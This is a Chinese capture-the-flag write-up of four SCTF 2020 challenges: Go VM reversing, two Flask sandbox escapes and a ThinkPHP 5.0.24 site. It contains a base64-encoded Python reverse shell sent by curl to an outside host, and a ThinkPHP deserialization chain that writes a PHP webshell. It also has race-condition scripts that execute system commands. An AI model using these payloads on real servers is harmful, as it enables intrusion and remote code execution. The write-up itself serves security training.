CTF 安全 逆向 Web

SCTF 2020 WriteUp

前言

周末做了四题。

0x00 Reverse - flag_detector

golang题,可以用ida插件恢复一下

一个使用 gin-gonic/gin 的web服务器,找到几个路由

/ 主页。 /v1/login?name=test 登录功能。生成一个config文件,记录用户名。 /v2/user 用户功能(需要有config文件)。生成一个asdf文件,内容固定。 /v2/flag flag功能(需要有config文件)。生成一个hjkl文件,内容固定。 /v3/check 校验flag功能。关键流程在 machine 函数,实现了一个VM。asdf文件为VM指令,hjkl为flag值。

对照解释部分的代码,对指令进行排列,方便观察。

-1 10 1 10 4 10 5 2 1 20 10 3 11 -2
-1 18 11 -2
-1 2 1 22 8 1 7 6 1 2 1 12 3 -11 1 2 1 13 20 11 -2
-1 29 0 11 -2
-1 10 2 21 8 22 7 5 2 2 20 10 3 1 2 1 8 23 7 9 24 20 10 6 2 1 12 3 -13 11 -2
-1
2 1 26 2 73 20 10 7
2 2 26 2 89 20 10 7
2 3 26 2 70 20 10 7
2 4 26 2 84 20 10 7
2 5 26 2 -111 20 10 7
2 6 26 2 116 20 10 7
2 7 26 2 103 20 10 7
2 8 26 2 124 20 10 7
2 9 26 2 121 20 10 7
2 10 26 2 102 20 10 7
2 11 26 2 99 20 10 7
2 12 26 2 42 20 10 7
2 13 26 2 124 20 10 7
2 14 26 2 77 20 10 7
2 15 26 2 121 20 10 7
2 16 26 2 123 20 10 7
2 17 26 2 43 20 10 7
2 18 26 2 43 20 10 7
2 19 26 2 77 20 10 7
2 20 26 2 43 20 10 7
2 21 26 2 43 20 10 7
2 22 26 2 111 20 10 7 11
-2
-1 21 22 2 122 17 23 11 -2
-1 10 8 27 22 21 13 8 4 7 5 2 2 20 10 3 11 -2
-1 21 2 108 17 20 11 -2 -2

指令处理起来,不复杂。简单运算后,逐字节比较。

enc = [73, 89, 70, 84, -111, 116, 103, 124, 121, 102, 99, 42, 124, 77, 121, 123, 43, 43, 77, 43, 43, 111]
flag = ''

for i in range(len(enc)):
    flag += chr(122 ^ ((108 ^ enc[i]) + 4))

print(flag)

SCTF{functi0n_ca11_11}

0x01 Web - pysandbox

直接可rce,白名单【大小写英文字母+数字+[]^_`:;<=>?@*+,-./\】

玩了一下flask,发现默认有个路由 /static 可以访问静态文件。

>>> app.url_map
Map([<Rule '/' (OPTIONS, POST) -> security>,
 <Rule '/static/<filename>' (OPTIONS, GET, HEAD) -> static>])
>>> app.view_functions
{'static': <bound method _PackageBoundObject.send_static_file of <Flask '__main__'>>, 'security': <function security at 0x7f59ba27f670>}
>>> app.static_url_path
'/static'
>>> app.static_folder
'/app/static'

那么直接执行 curl -X POST -d "cmd=app.static_folder=app.static_folder[:4]" http://39.104.25.107:10007/

可以将 app.static_folder 设置为 /app

然后访问 http://39.104.25.107:10007/static/flag

直接读取到 /app/flag

SCTF{N0_p4renth3s1s_2_RCe_1s_1nt3r3stlng}

0x02 Web - pysandbox2

因为过滤了小括号,不能直接函数调用。

审flask源代码 https://github.com/pallets/flask/blob/1.1.2/src/flask/app.py

寻找可控点,来触发任意函数调用

在725行处,https://github.com/pallets/flask/blob/1.1.2/src/flask/app.py#L725

找到 find_package(self.import_name)

均可覆写,进而控制。

要想控制流程走到这里,必须调用该函数 auto_find_instance_path

根据flask文档 https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.before_first_request_funcs

可以将想要调用的函数,放入 before_first_request_funcs

设置 _got_first_requestFalse

发起页面请求,就能触发一次。

然后最好控制一下 find_package 的返回值,就不会报错。

依次执行

curl -X POST -d "cmd=app.auto_find_instance_path.__globals__[request.form[request.url[27]]]=eval&a=find_package" http://39.104.90.30:10007/?a

curl -X POST -d "cmd=app.import_name=request.form[request.url[27]]&a=(None,str(__import__('os').system(__import__('base64').b64decode('cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTEzLjIxOS4yMDAuOTAiLDkwMDApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc='))))" http://39.104.90.30:10007/?a

curl -X POST -d "cmd=app.before_first_request_funcs=[app.auto_find_instance_path]" http://39.104.90.30:10007/

curl -X POST -d "cmd=app._got_first_request=False" http://39.104.90.30:10007/

curl http://39.104.90.30:10007/

本地监听,就能弹个shell回来。

/bin/sh: 0: can't access tty; job control turned off
$ ls
app.py
uwsgi.ini
$ ls /
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
readflag.c
root
run
sbin
srv
sys
tmp
usr
var
$ cat /readflag.c
#include <stdio.h>

void main() {
        seteuid(0);
        setegid(0);

        setuid(0);
        setgid(0);

        system("/bin/cat /flag");
}$ /readflag
SCTF{7ff31edadeadafc0f69d79fb4a36e7b7}$ ^C

0x03 Web - UnsafeDefenseSystem

访问 http://39.99.41.124/public/ 跳转 http://127.0.0.1/public/test

那么可以访问 http://39.99.41.124/public/test

源代码里找到

那么访问 http://39.99.41.124/public/nationalsb/login.php

这个页面需要登录,用户名和密码随意都能登进去。

那么试试看访问 http://39.99.41.124/public/nationalsb/ 发现可以访问。

源代码里找到 http://39.99.41.124/public/nationalsb/js/script.js

访问可以看到

//username:Admin1964752
//password:DsaPPPP!@#amspe****
//Secret **** is your birthday

写个脚本爆破一下日期,得到1221

使用该用户名和密码登录,可以看到

Hello Admin1964752.
You entered DsaPPPP!@#amspe1221 as your password.
Welcome Admin.
You can query the files in the system
Post $file to query

post参数file设为php://filter/convert.base64-encode/resource=/var/www/html/application/index/controller/Index.php,可以读到源码。

<?php
namespace app\index\controller;

class Index extends \think\Controller{
  public function index(){
    $ip = $_SERVER['REMOTE_ADDR'];
    echo "Warning"."<br/>";
    echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
    echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';  
  }
  public function hello(){
    unserialize(base64_decode($_GET['s3cr3tk3y']));
    echo(base64_decode($_GET['s3cr3tk3y']));
  }
}

thinkphp报错可以得知版本号5.0.24,上网查找thinkphp 5.0.24可以找到反序列化写php文件的漏洞利用。

根据 http://39.99.41.124/public/log.txt 可得知远程环境上了文件监控脚本。

那么可以不断写php文件,通过条件竞争调用php文件。

网上公开生成payload的地方改一下:

'path' => 'php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=./?<hp pfi( dm(5_$EG[Ta\']\'=)==f\'0113a600de9682e43dfc15cbeb3635\'d )vela$(G_TE\'[\'b)] ;>?',

脚本A:

import requests

url = 'http://39.99.41.124/public/index.php/index/index/hello'

payload = 'TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Njp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTE6IgAqAGJpbmRBdHRyIjthOjI6e2k6MDtzOjI6Im5vIjtpOjE7czozOiIxMjMiO31zOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMzk6InBocDovL2ZpbHRlci8vY29udmVydC5pY29udi5VQ1MtMkxFLlVDUy0yQkUvcmVzb3VyY2U9Li8/PGhwIHBmaSggZG0oNV8kRUdbVGEnXSc9KT09ZicwMTEzYTYwMGRlOTY4MmU0M2RmYzE1Y2JlYjM2MzUnZCApdmVsYSQoR19URSdbJ2IpXSA7Pj8iO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO2I6MTt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMzk6InBocDovL2ZpbHRlci8vY29udmVydC5pY29udi5VQ1MtMkxFLlVDUy0yQkUvcmVzb3VyY2U9Li8/PGhwIHBmaSggZG0oNV8kRUdbVGEnXSc9KT09ZicwMTEzYTYwMGRlOTY4MmU0M2RmYzE1Y2JlYjM2MzUnZCApdmVsYSQoR19URSdbJ2IpXSA7Pj8iO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO2I6MTt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MTM5OiJwaHA6Ly9maWx0ZXIvL2NvbnZlcnQuaWNvbnYuVUNTLTJMRS5VQ1MtMkJFL3Jlc291cmNlPS4vPzxocCBwZmkoIGRtKDVfJEVHW1RhJ10nPSk9PWYnMDExM2E2MDBkZTk2ODJlNDNkZmMxNWNiZWIzNjM1J2QgKXZlbGEkKEdfVEUnWydiKV0gOz4/IjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtiOjE7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fX1zOjg6IgAqAGFhYWFhIjtOO319fQ=='
params = {'s3cr3tk3y': payload}

while True:
    try:
        requests.get(url, params=params, timeout=1)
    except:
        continue

脚本B:

import requests

url = 'http://39.99.41.124/public/%3F%3Chp%20pfi(%20dm(5_%24EG%5BTa\'%5D\'%3D)%3D%3Df\'0113a600de9682e43dfc15cbeb3635\'d%20)vela%24(G_TE\'%5B\'b)%5D%20%3B%3E%3F3b58a9545013e88c7186db11bb158c44.php'

params = {'a': '82sno9T1', 'b': 'system("cat /flag");'}

while True:
    try:
        r = requests.get(url, params=params, timeout=1)
        if r.status_code != 404:
            print(r.content)
            break
    except:
        continue

运行脚本A。然后运行脚本B(可能需要多运行几次)来得到结果。

SCTF{tp5.0.24_4nd_pyth0n_is_fun}


标签: CTF 安全 逆向 Web

Comments